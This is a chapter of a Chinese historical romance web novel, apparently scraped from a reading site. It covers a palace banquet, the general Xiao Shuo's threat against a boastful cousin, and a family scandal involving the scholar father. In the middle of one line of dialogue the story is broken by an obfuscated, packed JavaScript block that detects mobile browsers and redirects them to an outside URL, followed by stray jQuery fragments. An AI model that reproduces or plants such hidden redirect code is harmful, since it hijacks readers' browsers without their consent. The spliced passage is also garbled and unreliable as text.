默认冷灰
24号文字
方正启体

7. 第 7 章

作者:金西啾本书字数:K更新时间:
    萧朔开了一头,诸人也接连献艺,当真是琳琅满目、人才辈出,舒兰汀把手都拍红了,看的那叫一个开心。


    趁着人多热闹,萧朔还是老招数,投了一颗石子提醒,将舒兰汀引去了没什么人的花园里头,头一句话便是斜着眼问她:“好看吗?”


    舒兰汀嘻嘻笑:“好看!”


    笑的如此没心没肺,萧朔往她额头“咚”的来了一板栗。


    好清亮的一声响,舒兰汀一手捂额头,露出“我是谁我在哪刚才谁打我了”的不可置信表情。


    萧朔道:“舒兰汀,你真本事,光我瞧见的你就喝了有八九杯,这是什么场合,生怕喝不醉是不是?”


    这宴席也不晓得是哪个摆的,案几上、流觞中的酒水是两色,混喝醉人,而且一般流觞都用水酒,苑中这样酒香四溢,闻起来分明是醇酒,宴中宾客都是鬼精鬼精的,没人去捞那流觞的酒,她倒好,一杯又一杯,把自己当酒神。


    萧朔怕她当着帝后乱说话,赶快舞了个剑混了过去。


    舒兰汀瞪着他:“我当然本事!又是为这样的事打我,你们这些人未免太不把我当回事了,我这海量有什么好怕!”


    萧朔指指头顶,“你本事,瞧见没有,牛在天上飞。”


    “呵!”


    但是,说到飞,舒兰汀脑子里叮当一声,“罢了,我大人不记小人过,你不明白我可以理解,若你诚心向我赔罪,我可以不跟你计较。”


    她态度转变突然,萧朔侧耳要听她吐出什么象牙。


    舒兰汀:“不如你现在就带我飞飞,就三棵……四棵树怎么样。”


    萧朔喟叹:“舒兰汀,真出息啊你。”


    “带我带我带我吧,”舒兰汀气性是真不大,想到他刚才舞剑时飞身上树的样子,馋的不得了,一把将他袖子拉住,“刚才那树那样高,你一踮脚便飞了上去,飞的又高又快呢!”


    家常便饭,轻功而已,萧朔道:“不过是花架子。”


    舒兰汀:“带我带我带我!”


    儿时舒兰汀常叫萧朔带她飞,她那会儿胖嘟嘟的,他也飞得起来,如今他武艺精湛、她也瘦了,一定能飞的很高。


    “只要几棵树就好,不用飞太远了,”她通情达理的道,“毕竟是皇宫呢,被侍卫瞧见打下来就不好了。”


    萧朔去抢自己袖子,“你也知道是皇宫?别扯。”


    舒兰汀不肯放,拽着他袖子摇,“哎呀这又没人,你都三年没带我飞过啦,你刚才还打我了,你带我飞我就不计较了。”


    她惹的萧朔十分想笑,先前在殿中的不虞都忘了,但还要故意板起张脸:“说了别闹,下回。”


    “下回是哪回,先说好了,不要赖账。”


    “又不是难办的事情,我赖你什么账。”


    “真的?”


    “真的——”萧朔忽安静下来,舒兰汀不晓得他发现了什么,总之一下被他推到了背后。


    萧朔目光如电,朝林中一扫,他听见簌簌声,是鞋子碾过落叶的声响。


    几息之后,不远处树后走出来一名年纪不大的少年,略有些尴尬,低着头道:“将军,是我。”


    来人是萧朔的亲卫,萧朔眉头松开,“找我?”


    亲卫瞟瞟他身后飞出来的裙角,没有说话。


    “直说无妨,”萧朔也将舒兰汀从身边放开。


    亲卫不敢多看她,快步过来,说是张卢两位将军有请,就在前头等着。


    这俩大老粗找他做什么?萧朔有些纳闷,但也没多说,“行,你带路。”


    但两位将军说了,不要让外人晓得……亲卫犹豫了一瞬,不过到底是亲卫,跟着萧朔的时间长,很是了解他,眼前这姑娘绝对不算外人,起码对萧将军来说不是。


    因而他立马领了路,三人行出不远,绕到林后,露出一小亭子,那卢漳生、张复二位将军正在里面。


    舒兰汀跟着萧朔一块儿进了去,两边都是一愣。


    那二位愣的是萧朔带了个小姑娘,舒兰汀愣的是地上有个五花大绑的人形粽子。


    粽子口里堵了团乱七八糟的抹布,鼻青脸肿的、涕泗横流,双眼被黑布蒙着,看穿着,应该是哪个勋贵的公子。


    萧朔飞快的掩了舒兰汀眼睛,示意了亲卫,看其带舒兰汀人走开,才向卢张二人眼神询问。


    二人将脑袋从盯舒兰汀那头收回来,道:“我们瞧这萧家小世子是不想要舌头的模样,特意将他绑来,好叫他如愿!”


    地上的正是乱说话的萧裕宁,萧朔走后,太后与老将军说话去了,没人理他,他气闷,入座喝了两杯酒,同萧府另一个公子不干不净的说着萧朔及他母亲的坏话,过后去找地方如厕,刚一出门,被两将打了闷棍,绑到了此处来。


    萧裕宁自己是金吾卫中一员,金吾卫负责保卫京城安宁,宫宴特意调了一支队伍进来值守,哪晓得在这些当兵的眼里,防卫形同虚设,和那窗户纸差不了多少。


    他被两人揍了顿狠的,又恨又怕,呜呜呜的说不出话来。


    听得脚步声和说话声,他手脚使劲的蹬,一副丑态。


    萧朔半蹲下来,靠近了他,从旁拿了一截树枝,直抵在那喉咙上,萧裕宁头皮发麻,整个人都不敢动了。


    “想做哑巴?”


    果然是萧朔!


    萧裕宁“呜呜”出声,也不晓得是求情还是要骂人,萧朔为了全他夙愿,把他口中抹布拿开,让他说话。


    “萧朔……”萧裕宁还是被他娘养的太好了,开口依然叫嚣,“这是皇宫!你怎么敢!我要告到皇上那里去!”


    萧朔手下使力,树枝陷入皮肉之中,他笑:“萧裕宁,你果然想当哑巴。”


    萧裕宁赌他不敢真动自己,“你、你、你伤我试试,一命换一命!”


    “你是不是傻子?我伤你做什么,我要将你脑袋按在水里浸死,再往井里一抛,是你自己酒醉跌下去的,明日你娘寻你,看你身上也没有什么伤,是淹死的。”


    “…………”萧裕宁道行还是太浅,听了他慢条斯理这样一句,浑身都起鸡皮疙瘩,“别、别别!咱们好歹是堂兄弟!打断骨头连着筋,你别杀我!”


    “我不是野种么,萧府现在改了风尚,流行与野种做兄弟了?”


    萧裕宁失语。


    萧朔将树枝扔了,直起身来,踢踢地上这团人,问那二人:“现在怎么说,是浸死还是……”


    萧裕宁:“!!!”


    “路上有别人瞧见没?”


    “没有,我们做事你还不放心,老子夜行杀突厥狗贼,狗贼人凉了一宿才被发现,这么个废物算的什么。”


    “好……”


    “我错了、我错了!”萧裕宁大叫起来,“饶了我吧!”


    萧裕宁兄弟几个幼时仗着人多,常欺凌萧朔,萧朔那时就是先挨了众人的打,后头再单个找人往死里咬,眼下这情形,与当年几乎没有分别!哦不,萧朔还多交了几个杀人如麻的将军兄弟!


    萧裕宁十分后悔自己多嘴,哀哀求情,“我再也不乱说话了,绝不说你、不说姑母,我以后就是一个哑巴,萧朔、萧爷爷、萧大将军,你饶我一命吧!”


    真是太没骨气了,萧朔顿觉无趣,说他废物一点不夸张。


    玩起来还没一只蚂蚱会蹦跶。


    他摇了摇头。张复晓得他意思,过去踢了萧裕宁一脚,接着拎着他朝外走,人一会儿就消失了。


    当然,不是真去浸人的,哥几个没到杀人当乐趣的程度,张复处理好了,再次回来,对他们说人已经松了绑,跑走了。


    萧朔道:“怎么绑他来了,宴中的酒还是吃不惯么。”


    张复道:“吃不了一点,比西北的差太多了!”


    卢漳生则嘿嘿一笑:“实在太无聊了,什么也不让做,还不如拿这小子找点乐子。”


    合着金尊玉贵的小世子就是个乐子,萧朔啧了一声。


    “还有件正事和你说,”张复以极低的声音向萧朔说了几句。


    皇后那头的人带了个信来,说皇上有意给昭琅公主重新册封、在京建府,还要赐封地田庄,以对她的功劳进行表彰,昭琅竟没有应,只说是自己应做的,倒叫皇上不知道要如何做了,跑去问了皇后。


    卢漳生一听见就来火,他弄不明白那公主脑子里装的什么,唾沫星子快喷到天上,张复道:“就你嗓门大,咬人的狗是不叫的。”


    旁边安静的萧朔横了一眼过去。


    卢漳生恨恨道:“你们难道不恨吗?阿朔,是他们害了你,只要你一句话,我这官帽不要了……”


    萧朔转头看向他,面沉如水,眸光漆黑,慢慢的,卢漳生消了声。


    萧朔淡淡道:“此事不是现在该提的。”


    但何时提、如何提,却不说了。


    张复清楚他胸有成算,拉了莽夫卢漳生,叫他闭上嘴来。


    小小的亭子里,有了片刻的安静。


    这时,亭子底下冒出一只圆润的脑袋,双眼看向他们这处,写着“好了吗?”三个大字。


    噫!小姑娘!


    两将眼睛发光,像见了鸡的黄鼠狼。


    舒兰汀看粽子都被扔了,应该没有什么不能看的了,实在有些按捺不住,故而开始探头探脑。


    “快过来,”萧朔招手。


    舒兰汀跳上台阶,咚咚咚跑上去,“什么好玩的不带我!”


    “脏死了,有什么好玩,”萧朔掸掉她肩头落的枯叶。


    他前面意思是叫亲卫送人走,亲卫把人领在下面听墙角,他没有多说,听就听了。


    两将探头探脑,八卦之心已经到了极致,萧朔给他们相互介绍了一番,舒兰汀甜甜笑着与他问好,“谢谢你们在军中照顾阿朔。”


    太讨人喜欢了,卢漳生兴奋的摩拳擦掌道:“我就说这小子藏了个姑娘!还不认!他写那些个信、搜集这这那那的小玩意,还骗我们说是给小孩的!”


    张复还有修养一点,和气的回礼:“弟妹。”


    萧朔就知道会这样,抬起一脚要送他。


    “弄错了,”舒兰汀先来了个轻描淡写、微微一笑,“我其实是他爹!”


    萧朔的拳头从天而降,砸在她头顶。


    他凉飕飕的:“我是你爹。”


    舒兰汀拧过脑袋,抱起他手腕就要咬,萧朔只得撤手,她趁机一脚踩在萧朔鞋背,留了个泥印子。


    萧朔道:“你就是属狗的。”


    “狗那么可爱有什么不能属的,你属鸡你小肚鸡肠、叽叽歪歪。”


    “呵,绝交。”


    “我先绝,绝交。”


    “唯女子与小人难养,分明是我先与你绝交。”


    “……”


    两人叽叽喳喳,两将目瞪口呆。


    “看见了?”


    萧朔瞥向他们,没好气道,“还胡说八道吗?”


    两人诡异沉默,既不点头,也不摇头。


    他们的感受正一种很玄妙的状态。


    此时此刻,哪里还记得什么和亲公主、可恶柔然、阴谋诡计,二人脑中只有一句“我是他爹”。


    从来没有人可以对萧朔提他爹,他娘现今好好在呆在北地军营之中,当着所有人的大姐头,一顿饭吃半斤牛肉,就这样,萧裕宁提了,也要挨顿狠揍,而谁要去提他那死了的爹,完全就是找死了。


    是真的会死,不是这样吓唬吓唬。


    但是这姑娘可以。


    此事,难以用语言解释。


    不理两人的思绪翻飞,萧朔对舒兰汀道:“你认认他们,我一般都住在你上次去的军务府上,你有事来找,若我不在,找他们俩也一样。”


    舒兰汀点头应好。


    萧朔想着也没什么好多余说的,彼此认了脸就行,于是送了舒兰汀回琼林苑去。


    到不远处,看前面灯火辉煌、人头攒动,萧朔停了下来,摆摆手让她自己去,


    舒兰汀融入人群之中,兴许是她消失的久了,她刚露面,舒夫人狠狠剜了她一眼。


    她没同舒夫人多说,坐回那单独的小几后,在黄栌树下,唇角微翘,双眸映着一片热闹。


    却显得她孤单一个了。


    萧朔皱了皱眉头,亲卫到他身边,低声说陛下召见,他顿了一顿,转身走开了。


    -


    回了这宴席上,舒兰汀也没有老实,她小花招一套接着一套的,这会儿桌上菜冷不好吃了、因着被萧朔教训过酒也不喝了,她便开始玩弄琴师,托着腮极为幽怨的盯着琴师。


    眼中控诉之意非常明显:都怪你,在我这儿停了琴,害我中彩。


    琴师一个老实人招架不住她,主动问她想听什么曲子,舒兰汀接连点了一二三四首,将此处变成她独一个的听奏会。


    听着那皇家出品的优美琴音,对风花雪月一窍不通的舒兰汀只觉得耳朵脑子都很舒服,有些想打瞌睡,这时,亲爹发出一声巨响,将她吵醒了。


    亲爹刚眯着觑觑眼到处找她,没找着,回来一看她就在座位上,凶凶的说:“你这是到哪去了!”


    舒兰汀揉眼睛,“随便转了转,坐的屁股疼。”


    “这是宫中,岂能随便转!”


    舒兰汀“唉”了一声,听的耳朵都起茧子了,真是奇了怪了,为何人人都觉着她不靠谱?没人看出来她的聪明机智、有礼有节么,怎么这品质非要配个苦大仇深、少年老成,做人开心与靠谱有什么矛盾!


    舒大学士也是个不懂她的俗人,道:“爹叫你背了那样多的诗,你怎么就一首都没念出来!”


    “咱们家才高八斗有您就够,分到我这儿不够用了嘛,爹你在那含元殿里头吃的什么,有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283024|182546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有不一样的菜……”


    舒大学士:“含元殿不是吃菜的,是陛下主持的……!”


    舒兰汀都没听完,“喔喔原来如此!”


    父女对话惹得旁边人都悄悄闷笑起来。


    帝后走后,此处恢复松散,命妇们相互走动,舒夫人身边聚了几个官位低些的官夫人在献殷勤,舒夫人性子倨傲,与身份比她高的夫人处不来,也就只有这些人来拍拍马屁。


    此时听了舒大学士与二女儿的对话,颇觉有趣,凑上来夸了舒兰汀活泼可爱,连皇后娘娘都喜欢。


    舒夫人冷冷地道:“她是个不知好赖的,你们莫要说些虚话,她要信以为真。”


    几人忙说她谦虚,舒家女儿的教养出了名的好等等,说到了舒明玉如何的珠玉在前,今夜的诗文多么惊艳,舒夫人的面色好看起来。


    舒兰汀听了,忽然想了起来,目光往四下瞟,怎么不见舒明玉?这小夫子姐姐可不是会乱走动的性子。


    便是在此时,她的目光对上了一位被宫女簇拥的奇怪妇人。


    说她奇怪,是因为她一身单衣、重敷粉黛,神态疲惫苍老,与周围人大为不同。


    目光相撞,舒兰汀礼貌低头,而那妇人竟盈盈走上了前。


    伴随着她的走近,座前、连带附近,全部安静下来。


    “松庭,”此人正是昭琅公主,她停在舒大学士面前,轻轻下拜,“多年未见,可曾安好?”


    舒大学士怔了一怔,他坐在案几后,停顿的这几秒,已经十分失常和失礼。


    终于反应过来,他忙站起回礼,“见过昭琅郡主。”


    “你我何必多礼,”昭琅柔声说,“快请起吧。”


    舒大学士道:“是……是。”


    郡主头上的步摇几乎花了他的眼,他忍不住揉了揉。


    其间气氛怪异,连舒兰汀也嗅了出来,而舒夫人更已经面如黑炭。


    昭琅道:“听说园中黄栌正盛,我久不归京,不大认得路,君可否与我引路?”


    “这……”


    “我夫妇二人一同为公主引路,”舒夫人道。


    昭琅颔首:“好。”


    于是三人离席,留下神色各异的众人。


    舒兰汀有点子迷糊,这是什么情况?她四下张望,极想打听,其他人碰着她的目光,全都低头躲避。


    她觉得纳闷,一边剥栗子一边将疑问按下。


    约小半个时辰,夫妇二人回了来,舒大学士满脸讪讪,舒夫人冷若冰霜,不管他如何搭话,都不理人。


    而直到宴尾,昭琅公主也都再没有露面了。


    夜间,舒家人出宫门,坐两辆马车,一前一后的往苏府去。


    停在大门口,舒夫人先下了马车,舒大学士屁滚尿流的跟上,口中叫着:“夫人、夫人等等!”


    舒兰汀姐妹二人在后一辆,车还在走,她揭开帘子,探着脑袋看她爹的笑话,就差要嗑瓜子。


    “那昭琅怎么回事,是爹的风流债不成?”舒兰汀想着舒明玉兴许知道一些什么,回头向她打探。


    舒明玉是后头才回宴上的,从那会儿开始,到此刻,已经当了一路冷美人冰雕了,闻言将玻璃似的眼珠子转过来,面色微妙地盯着舒兰汀。


    舒兰汀:“怎么了?不能说么?”


    舒明玉又闭上眼睛,当她不存在。


    “………………”这人真是一个比一个古怪。


    舒兰汀只好独自回了自己院子,自行卸了发髻,叫丫鬟打了水来浣发。


    她头发乌黑发亮,像绸缎一般,因好洁每日都清洗,洗起来不费什么功夫,而秋日干爽,只需在院中披发晾上一两炷香,也就干了大半。


    在院中干发时,才从丫鬟这儿听说了自己爹的事。


    果不其然,昭琅公主就是大学士的风流债。


    十年以前,榜下捉婿的美谈发生之前,舒大学士原是个有主的。


    舒家是郴州人士,郴州是吴王封地,舒松庭有状元之才,在吴王那儿也是有名的,彼时吴王府中大郡主李淑宁对舒松庭有意,正待其科举高中,再行婚嫁。世事难料,册封旨意来的比金榜题名要早,淑宁郡主成了昭琅公主,坐上了北上的车马。


    有说老夫人之所以变卖家产来到京城,就是怕着儿子伤心,带他换个地方。


    又过了几年,舒松庭中了状元,后头才有了现在夫人。


    此事并不是什么秘密,这些年夫人为此闹过许多次脾气,府中上下都悄悄传过了。


    说到此处,舒兰汀心想,都知道,只有我不知道?


    “夫人一进门就去小少爷那院里了,老爷在那低声求情,仆人们都敢进去,全都跪在外面呢。”


    “吵起来了吗?”


    “老爷都没能进门,怎么吵,姑娘,在宫里是发生什么了?”


    好嘛,丫鬟也想在舒兰汀这里打探打探呢。


    “我也不清楚,也避着我呢。”


    舒兰汀表示等自己知道更多了再来告诉她,丫鬟则表示自己现在可以再去探探前院情况。


    丫鬟飞快的去了,舒兰汀“哎”了一声也没拦住她。


    不是,她篦子还在丫鬟手里呢!


    只好自己去房间再找一个,坐在院子,晒晒月亮、吹吹秋风。


    刚在宴会里享了一整夜的热闹,突然到此宁静之所,心中忽而有一些些很微妙的空落。


    那种空落,不是明月照大江、苍生一芦苇的空落,只是一片叶儿落了,落得离大树有些远,不能化成养分明年再生在这棵树上了;是小鸟飞去南方过冬,叽喳一冬,再来时藏在泥瓦墙壁上的爪印没了,原来此处换了一个新房子……


    舒兰汀想,若要写诗,这样的想法和意境要如何说呢?


    颂繁华、歌太平已有许许多多文章了,冬天的雪夏天的花也有了忠实的拥趸,但是雪融后屋檐上的水将瓦片渗的深浅不一的样子、小鸟爪印在墙壁中小小的痕迹、草儿卷曲起来像一个春饼的样子,从未有人去写。


    这也是一种空落。


    空落但自在。


    舒兰汀在这小院里仰头晒月,享一刻的空。


    ……然后一颗石子扔到了她肩上,太熟悉了这感觉。


    舒兰汀大睁眼睛,定睛看去,月儿高悬,墙头上坐着一个黑衣劲装的萧朔。


    晚上不是刚见过么,还有什么事来找她?她歪歪脑袋


    萧朔单手撑着膝盖,高束的马尾落在身后,挑眉:“不是要飞么?”


    “!!!”哇,好讲信赖!舒兰汀双手高举欢呼,萧朔如鸿鹄轻轻落地,直起身来,低眸瞧着她。


    他也是后来想起来的,她对他说,“又为这样的事打我”,表情有一些不对。


    萧朔道:“等一等再飞,‘又打你’是什么意思,这府上是有谁动了你?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)